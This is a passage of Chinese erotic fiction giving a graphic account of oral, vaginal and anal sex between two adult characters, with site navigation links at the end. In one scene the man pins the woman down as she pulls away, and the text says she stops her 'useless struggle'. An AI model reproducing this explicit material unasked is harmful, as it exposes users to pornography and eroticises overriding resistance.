轻轻地挑弄那两片小阴唇,软软的浅褐色肉片被舌尖拨来拨去,女人的嘴里轻声
地喘息着。不大一会儿,那可爱的缝隙便慢慢地绽开来,翻出亮亮的一绺粉红色
来,肉瓣似乎也被挤出来了一些——露在外面的部分更长了。

乐阳用舌尖灵活地挑起其中一片肉片,用嘴唇轻轻地衔住,柔柔地一吸,水
儿「啊」地尖叫一声,肉片被吸着扯长了,上面是咸咸的腥香的味儿,他总齿缝
中探出舌尖来,在肉片的边缘温柔地触碰、扫舔,含完这一片又含另外一片。等
到他抬起头来,才发现肉缝中的透明的液体已经泛滥开来,形成一汪涓涓的溪流,
从会阴上缓缓地滴落。女人的小腹起伏不止,这时闭着的眼睛张开来,星眸乜斜,
眼睛里亮汪汪的一片,「你舔得真好!真舒服!比想象中的好多了!」她喃喃地
说,仿佛还在睡梦里不曾醒来的声音。

「我还没有舔,你就这么夸我……」他裂开湿漉漉的嘴唇笑了,刚才嘴唇沾
到了滑腻的溪水,「我已经没有耐心了,先干一回再说!」他说。水儿看见他的
内裤里已经鼓起大大的一坨,他正把内裤往下褪去,才褪到大腿上,就挺着长长
的小钢炮扑上来。

女人本能地朝后缩了缩身子,却被男人健壮的身块紧紧地压住了,动弹不得。
他抓着她的手臂,就像老鹰抓住扑腾的小鸡一样容易,长长的肉棒在女人的胯间
戳来戳去,女人则摇摆着臀部不停地躲闪,直到硕大的龟头整个陷进来,她才停
止了无谓的挣扎。

经过刚才的一番挑弄,花穴里早已经汪洋一片,粗大坚实的肉棒插进去的时
候水儿并没有感觉到疼痛,甚至没有叫出声来,只是张着性感的嘴巴大口大口地
喘气。她的阴道壁弹性十足,密密匝匝地贴着整根肉棒,仿佛一个充满吸力的吸
盘,让乐阳无法自拔。

由于情欲的催动,水儿的脸上红扑扑的,胸前两队洁白的小乳鸽软软地蹭着
男人的胸膛,敏感而又充满弹性。

肉棒开始在肉穴里进进出出,花房里的肉褶开始敏感地收缩起来,不舍地挽
留肉棒,热情的欢迎归来,说不尽的亲昵与厮磨。每次插入,丰满的肉臀都要紧
一下,每次退出,它便松懈着退下去,蓄积力量迎接下一波的冲击。热情的迎来
送往,在下面撞击出粘稠的「噼啪」声。花穴里随着抽插的节奏时松时紧,在肉
棒上擦出的快感撩拨着乐阳的小腹。水儿不断哼出颤动的声韵,淫欲在她的身体
里生根发芽,不断高涨,在她的身体深处形成一道无形的漩涡,将男人冲击的力
量悉数吸收、一一化解之后,变得贪求无厌起来。

水儿的身体在不断升温,他很清晰感觉到了这一点,浑身也跟着燥热起来。
经过这几天的禁欲,全身充满了气力,他加重了力度,快速地抽查起来,以今天
的状态,他很有信心能将身下的女人推向极乐的巅峰。

正当「噼噼啪啪」的声音开始欢快地响起来时,水儿紧紧地握着他的臀部,
把胯顶上来不让他浪动,口中焦急地直叫唤:「停……停啊……等等……等一下
……」她气喘吁吁地停下来,喘了一口气,把脸上的乱发甩开,「你好棒!好棒
……真的,我们来玩点新鲜的怎么样?」她认真地说。

「新鲜的……什么?」他本打算埋头苦干的计划成了泡影,有些不快。

「嗯!」水儿点了点头,「你插过后门没有?」她按住男人不安分的肉臀问。

「后门?插过,那时候因为好奇,插过老婆的后门,但是没有弄成,根本就
插不进去,她一直叫痛,根本没有什么快感,只好放弃了……」他想起了那次顽
皮的尝试,那是很遥远的一件琐事,几乎都快淡忘了。

「啧啧,想不到你这人不但老实,还挺怜香惜玉的嘛!」水儿说着,屁股一
缩,「噗」的一声,肉棒便脱落出来。乐阳翻身下来,看着淋漓不堪的肉棒,在
胯间兀自一抖一抖的。

水儿光着屁股下床来走到外面去了,过了几秒钟拎着沐浴露回来了,「……
用这个代替润滑油!」她扬了扬手中装着沐浴露的塑料瓶,笑嘻嘻地说:「肛交
不是谁都能接受的,很多都是被强迫着才做的,可是我可不一样,我能享受这个
过程,也算是多了一种享乐的渠道吧……」她再次爬上床来,把瓶盖旋开递给他。

他接过瓶子来,女人便乖乖地爬到床头,翘起白花花的屁股来,双手把臀瓣
掰开等着他,「多涂一些,那样插起来滑刷些,不痛。」她艰难地扭着头说。

「好的!你确定你能行么?」他挨近去看了看,玲珑的括约肌就像一朵小菊,
在水儿使劲的拉力下缓缓地绽开了,翻出钱币般大小的嫩红色的肉蕾来。

「放心好啦,我又不是第一次使用这个通道,尽管放马过来吧!」她的目光
穿过大腿根部的下方,看见了乐阳犹豫不决的样子。

乐阳把沐浴露倒在手心里,然后把塑料瓶放到床下,回到屁股跟前来,把凉
飕飕的液体悉数抹在热乎乎的肉棒上,涂了一层又一层,再在水儿的菊蕾上蘸了
蘸。

「慢慢地推进来,不用太怜香惜玉,你要主动些,趁热打铁,犹犹豫豫的没
什么激情,你要相信,我能承受得来。」她在给男人打气,看着乐阳紧张兮兮的
样子真让人头大。

他嘟哝着答应了一声,挺着腰扶着龟头凑过去,按照她的那样,「慢慢地推
进去」,看着菊洞很小,可是龟头真的进去的时候,真正展现了它惊人的收缩力
——它竟然容纳得下鸡蛋大小的龟头,乐阳不禁暗暗有些吃惊。就这样一点一点
地,肉棒进去了三分之二强,里面抵着了直肠的壁垒,再也不能前进了。水儿松
开了手,丰满的白屁股还原了之前的形状,紧缩的括约肌紧紧地箍着肉棒,勒得
有些生疼;直肠收缩着,抗拒的的力道很大,仿佛一不留神肉棒就会被推出外面
来——他不敢再继续贸然行动。

水儿深深地吸气,又缓缓地吐出来,连续这样五六次过后,紧张的菊蕾才慢
慢的松懈下来,乐阳终于可以尝试着缓慢地抽插了。那种紧箍的感觉仿佛那一年
他第一次进入温妮的身体的感觉,紧绷绷地难受,却又难以抗拒这种致命的诱惑。
他轻轻地蠕动着,女人咬着牙忍耐着,里面似乎像阴道一样会有液体渗出来,渐
渐地变得润滑了,可是那种紧张的压迫感依然不减分毫。

随着他的每一次推进,水儿的口中发出销魂的呻吟声来了,新奇的感觉让他
不由自主地越插越快,牵引着他努力地深入进去,探索着这条神秘的通道。过来
好一会儿,他们完全适应了对方,肉棒已经能全根插入进去了,水儿浪叫着把屁
股一下又一下地迎凑过来,配合着男人抽插的节奏,把丰满的臀肉砸到他的小腹
上,「啪啪」直响。

肉棒在柔韧的肠壁的压迫下,似乎变得比平常更加粗大坚硬了,直肠里又一
股劲道一直把肉棒往外面推,可是窄小的菊蕾却丝毫不放松,紧紧地箍着棒身不
让它离开。

乐阳紧紧地抓住女人的肉臀,咬着极力抑制着快感,可是马眼还是有不少的
精液渗出来,使直肠里面变得越来越润滑,致使他可以放开手脚,大开大阖地纵
情抽插了。

嫩红的肉蕾被扯翻出来,又被无情地塞进去,腰胯雨点般地撞在臀缝上,激
起一波波臀浪和「啪啪」的声音,水儿甩着头发嚎叫着、呜咽着承受着男人狠狠
的撞击,声音里带着哭腔,下面却一刻也不放松,殷勤地迎凑着,让人分不清她
究竟是痛苦还是快乐。

乐阳插着插着,水儿突然「啊——」地一声长长的尖锐的叫唤,瞬间从她的
花穴里涌出一股浓液来,像水枪一样喷射到他的蛋囊上、大腿上。乐阳牙关一松,
全部的坚持瞬间化为乌有,一大股气流从会阴出窜上来,奔涌着射进了直肠深处
……他瘫坐在床上,看看自己的肉棒,再看看水儿结实的肉臀,花穴如泉眼一般
里还在不住地「汨汩」流淌,上方那可爱的菊蕾里,浓浓白白的精液正从里面缓
缓地滑落出来……

【待续】


  

上一篇行尸走肉下一篇当年女友的第一次